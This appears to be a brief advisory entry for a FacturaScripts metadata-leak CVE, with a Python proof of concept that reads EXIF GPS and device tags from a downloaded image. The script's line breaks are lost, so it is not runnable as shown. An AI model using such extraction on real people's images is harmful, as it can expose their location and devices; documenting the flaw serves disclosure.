CVE-2026-27892 FacturaScripts元数据泄露漏洞

# Proof of Concept: Extracting Metadata from a Downloaded Image # This script simulates an attacker analyzing a downloaded image from FacturaScripts. import exifread from PIL import Image import sys def extract_metadata(image_path): try: # Open the image file in binary mode with open(image_path, 'rb') as f: tags = exifread.process_file(f) print(f"[*] Analyzing {image_path} for metadata...") if not tags: print("[-] No EXIF metadata found.") return # Check for GPS info gps_keys = [key for key in tags.keys() if key.startswith('GPS')] if gps_keys: print("[+] GPS Information Found:") for key in gps_keys: print(f" {key}: {tags[key]}") else: print("[-] No GPS Information found.") # Check for Device/Software info device_keys = ['Image Make', 'Image Model', 'Image Software', 'EXIF DateTimeOriginal'] for key in device_keys: if key in tags: print(f"[+] {key}: {tags[key]}") except FileNotFoundError: print(f"Error: File '{image_path}' not found.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py <image_file> if len(sys.argv) < 2: print("Usage: python poc.py <path_to_image>") sys.exit(1) extract_metadata(sys.argv[1])